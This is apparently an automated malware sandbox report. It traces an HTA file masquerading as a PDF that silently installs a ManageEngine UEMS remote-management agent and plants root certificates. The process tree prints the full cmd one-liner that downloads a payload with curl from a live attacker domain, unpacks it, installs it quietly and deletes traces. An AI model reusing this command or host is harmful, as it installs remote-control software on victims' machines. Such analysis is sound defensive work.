Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList	dcagentservice.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AdvertiseFlags = "388"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Transforms = "C:\\Windows\\Installer\\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\\UEMSAgent.mst"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333\F1322DA684FF95D4CA6204A5AF2ED37B	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Clients = 3a0000000000	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer	dcagentservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B\DefaultFeature	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\"	dcagentregister.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\extracted_FAKHA8E9\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\extracted_FAKHA8E9\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\"	dcagentservice.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Assignment = "1"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media\1 = ";"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\PackageName = "UEMSAgent.msi"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products	dcagentservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B	dcagentservice.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net	dcagentregister.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\DeploymentFlags = "3"	msiexec.exe

Modifies system certificate store 2 TTPs 2 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\E1397AB0B33AA131CE4114981474D387B1532A37	dcagentregister.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8096DA182333FED188E09EA3A0DAC2DCDA93F0A7	dcagentregister.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5320	UEMSAgentHCHelper.exe
5320	UEMSAgentHCHelper.exe
5320	UEMSAgentHCHelper.exe
5320	UEMSAgentHCHelper.exe
5320	UEMSAgentHCHelper.exe
5320	UEMSAgentHCHelper.exe
3556	UEMSAgentHCHelper.exe
3556	UEMSAgentHCHelper.exe
3556	UEMSAgentHCHelper.exe
3556	UEMSAgentHCHelper.exe
3556	UEMSAgentHCHelper.exe
3556	UEMSAgentHCHelper.exe
4968	UEMSAgentHCHelper.exe
4968	UEMSAgentHCHelper.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe
3668	dcagentregister.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4204	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4204	msiexec.exe
Token: SeSecurityPrivilege	1244	msiexec.exe
Token: SeCreateTokenPrivilege	4204	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4204	msiexec.exe
Token: SeLockMemoryPrivilege	4204	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4204	msiexec.exe
Token: SeMachineAccountPrivilege	4204	msiexec.exe
Token: SeTcbPrivilege	4204	msiexec.exe
Token: SeSecurityPrivilege	4204	msiexec.exe
Token: SeTakeOwnershipPrivilege	4204	msiexec.exe
Token: SeLoadDriverPrivilege	4204	msiexec.exe
Token: SeSystemProfilePrivilege	4204	msiexec.exe
Token: SeSystemtimePrivilege	4204	msiexec.exe
Token: SeProfSingleProcessPrivilege	4204	msiexec.exe
Token: SeIncBasePriorityPrivilege	4204	msiexec.exe
Token: SeCreatePagefilePrivilege	4204	msiexec.exe
Token: SeCreatePermanentPrivilege	4204	msiexec.exe
Token: SeBackupPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	4204	msiexec.exe
Token: SeShutdownPrivilege	4204	msiexec.exe
Token: SeDebugPrivilege	4204	msiexec.exe
Token: SeAuditPrivilege	4204	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4204	msiexec.exe
Token: SeChangeNotifyPrivilege	4204	msiexec.exe
Token: SeRemoteShutdownPrivilege	4204	msiexec.exe
Token: SeUndockPrivilege	4204	msiexec.exe
Token: SeSyncAgentPrivilege	4204	msiexec.exe
Token: SeEnableDelegationPrivilege	4204	msiexec.exe
Token: SeManageVolumePrivilege	4204	msiexec.exe
Token: SeImpersonatePrivilege	4204	msiexec.exe
Token: SeCreateGlobalPrivilege	4204	msiexec.exe
Token: SeRestorePrivilege	1244	msiexec.exe
Token: SeTakeOwnershipPrivilege	1244	msiexec.exe
Token: SeRestorePrivilege	1244	msiexec.exe
Token: SeTakeOwnershipPrivilege	1244	msiexec.exe
Token: SeRestorePrivilege	1244	msiexec.exe
Token: SeTakeOwnershipPrivilege	1244	msiexec.exe
Token: SeRestorePrivilege	1244	msiexec.exe
Token: SeTakeOwnershipPrivilege	1244	msiexec.exe
Token: SeRestorePrivilege	1244	msiexec.exe
Token: SeTakeOwnershipPrivilege	1244	msiexec.exe
Token: SeRestorePrivilege	1244	msiexec.exe
Token: SeTakeOwnershipPrivilege	1244	msiexec.exe
Token: SeRestorePrivilege	1244	msiexec.exe
Token: SeTakeOwnershipPrivilege	1244	msiexec.exe
Token: SeRestorePrivilege	1244	msiexec.exe
Token: SeTakeOwnershipPrivilege	1244	msiexec.exe
Token: SeRestorePrivilege	5460	7za.exe
Token: 35	5460	7za.exe
Token: SeSecurityPrivilege	5460	7za.exe
Token: SeSecurityPrivilege	5460	7za.exe
Token: SeRestorePrivilege	5084	7za.exe
Token: 35	5084	7za.exe
Token: SeSecurityPrivilege	5084	7za.exe
Token: SeSecurityPrivilege	5084	7za.exe
Token: SeDebugPrivilege	4512	dcusbsummary.exe
Token: SeDebugPrivilege	4636	dcswmeter.exe
Token: SeRestorePrivilege	1244	msiexec.exe
Token: SeTakeOwnershipPrivilege	1244	msiexec.exe
Token: SeRestorePrivilege	1244	msiexec.exe
Token: SeTakeOwnershipPrivilege	1244	msiexec.exe
Token: SeRestorePrivilege	1244	msiexec.exe
Token: SeTakeOwnershipPrivilege	1244	msiexec.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
4204	msiexec.exe
1244	msiexec.exe
5936	MsiExec.exe
4512	dcusbsummary.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 2820 wrote to memory of 3300	2820	mshta.exe	89
PID 3300 wrote to memory of 4436	3300	cmd.exe	91
PID 3300 wrote to memory of 4888	3300	cmd.exe	92
PID 3300 wrote to memory of 4884	3300	cmd.exe	93
PID 3300 wrote to memory of 4204	3300	cmd.exe	94
PID 1244 wrote to memory of 5936	1244	msiexec.exe	96
PID 1244 wrote to memory of 3668	1244	msiexec.exe	97
PID 3668 wrote to memory of 2660	3668	dcagentregister.exe	98
PID 2660 wrote to memory of 3872	2660	cmd.exe	100
PID 3872 wrote to memory of 3796	3872	net.exe	101
PID 2660 wrote to memory of 1300	2660	cmd.exe	102
PID 2660 wrote to memory of 3312	2660	cmd.exe	103
PID 2660 wrote to memory of 1704	2660	cmd.exe	104
PID 2660 wrote to memory of 2864	2660	cmd.exe	105
PID 2660 wrote to memory of 2564	2660	cmd.exe	106
PID 1904 wrote to memory of 5320	1904	UEMSAgentHealthChecker.exe	109
PID 1904 wrote to memory of 3556	1904	UEMSAgentHealthChecker.exe	111
PID 1904 wrote to memory of 4968	1904	UEMSAgentHealthChecker.exe	113
PID 3668 wrote to memory of 5176	3668	dcagentregister.exe	116
PID 5176 wrote to memory of 5460	5176	cmd.exe	118
PID 3668 wrote to memory of 5084	3668	dcagentregister.exe	122
PID 3668 wrote to memory of 3176	3668	dcagentregister.exe	124
PID 3668 wrote to memory of 3140	3668	dcagentregister.exe	125
PID 3140 wrote to memory of 4560	3140	cmd.exe	128
PID 3668 wrote to memory of 5792	3668	dcagentregister.exe	130
PID 3668 wrote to memory of 1440	3668	dcagentregister.exe	132
PID 3608 wrote to memory of 780	3608	dcagentservice.exe	135
PID 3608 wrote to memory of 4512	3608	dcagentservice.exe	137
PID 3608 wrote to memory of 4528	3608	dcagentservice.exe	138
PID 4512 wrote to memory of 4296	4512	dcusbsummary.exe	155
PID 3608 wrote to memory of 4992	3608	dcagentservice.exe	142
PID 3608 wrote to memory of 2148	3608	dcagentservice.exe	144
PID 3608 wrote to memory of 4636	3608	dcagentservice.exe	146
PID 3608 wrote to memory of 2664	3608	dcagentservice.exe	147
PID 1440 wrote to memory of 4132	1440	dcinventory.exe	150
PID 3300 wrote to memory of 5124	3300	cmd.exe	151
PID 3608 wrote to memory of 2284	3608	dcagentservice.exe	152
PID 3176 wrote to memory of 1628	3176	dcpatchscan.exe	154
PID 3176 wrote to memory of 4940	3176	dcpatchscan.exe	156

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	7	curl/8.8.0

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\123.pdf.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2820
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" 2>nul & echo Installing... > "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock" && curl -L -o "%TEMP%\file_FAKHA8E9.zip" "https://wordtax.ink/down/setup.pdf" && if not exist "%TEMP%\extracted_FAKHA8E9" mkdir "%TEMP%\extracted_FAKHA8E9" 2>nul && tar -xf "%TEMP%\file_FAKHA8E9.zip" -C "%TEMP%\extracted_FAKHA8E9" && cd /d "%TEMP%\extracted_FAKHA8E9" && start /wait msiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="%cd%\DMRootCA-Server.crt" DS_ROOT_CRT="%cd%\DMRootCA.crt" && timeout /t 3 /nobreak >nul && cd /d "%TEMP%" && del /f /q "file_FAKHA8E9.zip" && rd /s /q "extracted_FAKHA8E9" && del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c del /f /q "C:\Users\Admin\AppData\Local\Temp\UEMSAgent.lock"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4436
- - C:\Windows\SysWOW64\curl.exe
    curl -L -o "C:\Users\Admin\AppData\Local\Temp\file_FAKHA8E9.zip" "https://wordtax.ink/down/setup.pdf"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4888
- - C:\Windows\SysWOW64\tar.exe
    tar -xf "C:\Users\Admin\AppData\Local\Temp\file_FAKHA8E9.zip" -C "C:\Users\Admin\AppData\Local\Temp\extracted_FAKHA8E9"
    3⤵
    PID:4884
- - C:\Windows\SysWOW64\msiexec.exe
    msiexec /i "UEMSAgent.msi" /quiet TRANSFORMS="UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\DMRootCA.crt"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4204
- - C:\Windows\SysWOW64\timeout.exe
    timeout /t 3 /nobreak
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:5124

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 7E39305060F5ECDB934E63C066F4D88E
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5936
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Drops file in Windows directory
  - Modifies trusted root certificate store through registry
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3668
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2660
  - - C:\Windows\SysWOW64\net.exe
      net session
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3872
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3796
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1300
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /grant:r "DLAWBTBF\Admin":(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3312
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1704
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2864
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2564
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5176
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5460
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exe
    bin\dcpatchscan.exe -y 1
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Modifies data under HKEY_USERS
    - Suspicious use of WriteProcessMemory
    PID:3176
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:1628
    - - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        5⤵
        
        PID:4296
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      PID:4940
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *
      4⤵
      PID:3408
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe
      4⤵
      PID:5024
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *
      4⤵
      PID:3500
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll
      4⤵
      PID:3516
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *
      4⤵
      PID:3628
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *
      4⤵
      PID:1720
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml
      4⤵
      PID:2788
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *
      4⤵
      PID:876
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *
      4⤵
      PID:5416
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.xml.gz" *
      4⤵
      PID:1724
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchtodepfiles.xml.gz" *
      4⤵
      PID:2508
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\EPMErrorCodes.xml.gz" *
      4⤵
      PID:4896
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-dependency-details.xml.gz" *
      4⤵
      PID:2276
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\ud-supported-patch-details.json.gz" *
      4⤵
      PID:200
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.json.gz" *
      4⤵
      PID:2528
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.json.gz" *
      4⤵
      PID:2716
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\eol-service-packs.json.gz" *
      4⤵
      PID:4152
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\os-servicing-data.json.gz" *
      4⤵
      PID:5464
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\misconfig-scan-data.xml.gz" *
      4⤵
      PID:2340
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" *
      4⤵
      PID:4456
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll
      4⤵
      PID:1580
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-scan-data\windows-component-details.zip" *
      4⤵
      PID:6128
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json""
      4⤵
      Executes a command shell one-liner
      PID:5760
    - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
        
        7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so
        5⤵
        
        PID:4260
  - - C:\Windows\SysWOW64\cmd.exe
